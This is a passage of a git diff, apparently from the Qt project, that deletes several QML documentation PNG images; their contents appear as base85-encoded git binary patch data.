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 B+8F=< diff --git a/src/qml/doc/images/declarative-pathquad.png b/src/qml/doc/images/declarative-pathquad.png deleted file mode 100644 index 65f199974fd19f0b58e37315a3468d5c6c9bf01f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1517 zcmb`H`#aMM9LGnwhsYMoB}Fy9sZOP6e+C|vPyQXUj&~YF^u%GoTZE89Z1(lSpz6Hq<9wi}zte8tRVHzqe`{i5BEM(W zztO`i-^InHJe&SLsNM&F;OBKf0hvQBp-{7XXVL*Go)qxbiTvAZ&}S;r4w+))csiC; zD!ws}C*9WD&w7g==iew5ul)7vHZimNNnL26je@<>ycw0!Qzp$)_I!(cTQ{Vnfz5sb ztiod-+cx>j^y5ugh1EH68YS)E%B8HQpH76ZQTj#)wsn;tMaREce85{I zCIWYRAr_atOvT7onqhp!8Xm3>C6c|Ob%{wVF8l-(WCVG}JmXQ&s!S*6MvGI3CVO8= z$RLZLa?_GKL#R z->TL<-el?<=?D;a~O>7B{*mE z_zfi1z$-D{Oq~gT?n*D}pylkxz|K|$?ooz3LlqY@n$oQ7ZqJ(2C<&C$f~y`_Eb3*7 z$ebG-!sU({Q744R;_aXg;&@xB234+2J0Np1+%%M8e#Q6Aq{JM}ZJWeRWuC%fRj-|=iq@%&P=${od{On#^S&1eKUw`Sy1#YVYPw7M^C6STMt{H4k-6Ev zT=J#%*m_NUQ;6j?5#fY^5^6BXTH;=tp8rKq8_T~NZTfIYd2ZYFVM>0x+4_oKx6&7& zr{QT-9LGZ~c&|)%fp_!kg=qcd1h8ZA&g?B{Pjt(gzOZ-Oyl<8RAlc!)tp12?M2g1C zb6-hfbwY(Ab53oUdhtXk?ML7(gs8nb%5QZz-Od0FJrv4Lm{Nv}P)cB> z)$F4!gz{BL=8sMK-9!cZ_n5T~ZNRYpSn4B_B%`TYlqpq+C5vH)>C76K1~BLWk*zo$ z(eb^nHX_4hCl_x*tMB}%#pf*d$4(HC%DJ`qOsOt@Xoa{vUKU%^z`A>S|2OJ zIxi*W^qpGrDb30#3xOIZ@t2#=%6fA%!9uXEW5X%+Gu0JLSZw_r(xm1d-YWVw+NaZ} wj;nAxW1tPJOpUo0l^+lha`x|m#Q#59R<|TN6$?^$6zTs4p)R2j4Yma8fA`nV)Bpeg diff --git a/src/qml/doc/images/declarative-pathsvg.png b/src/qml/doc/images/declarative-pathsvg.png deleted file mode 100644 index 949149e722cf4907f095b466d0b92e079eaf7a4e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4233 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 diff --git a/src/qml/doc/images/declarative-percent.png b/src/qml/doc/images/declarative-percent.png deleted file mode 100644 index c277055299ec76052f77f1c395cb713e89bcc3de..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 530 zcmeAS@N?(olHy`uVBq!ia0vp^CxAGGg9%9bJb4iVq&N#aB8wRq_u|732>+<^FfA{I$ z{9b!|+wHg8zCGQuef`r74?6AB+>rCk;KVdO=QQ)OoR<>}jw>nZ2pvKYNms6X`r#5W z?XG0{)474c-S5NhdCo|lC?Lj}2qPBjOenJBUedG4;ndGF8$CF>TQ)$5AHvmbTjt+o zXkL>%(I5$?yz}LTH5N4sTD$X(C?)P}Y!QU0KT;JT$8Ue|Q>ay|NJ5Ksh|87%}w5E92Zub>2uFh zrdGS=&y+oX`py*}pa0FfC&HfZ^#A=o-+%4Tk9+$ylKsP<8o4(wmOCY1)$Fr>JCDmV n=26&*--1Y9LU;}vt23Xm;f&7eW0uXpNM`VK^>bP0l+XkK-A>=v diff --git a/src/qml/doc/images/declarative-qtlogo-preserveaspectcrop.png b/src/qml/doc/images/declarative-qtlogo-preserveaspectcrop.png deleted file mode 100644 index 64fb086faceebd65572d8eb0b9671e6e3521fc4e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6440 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 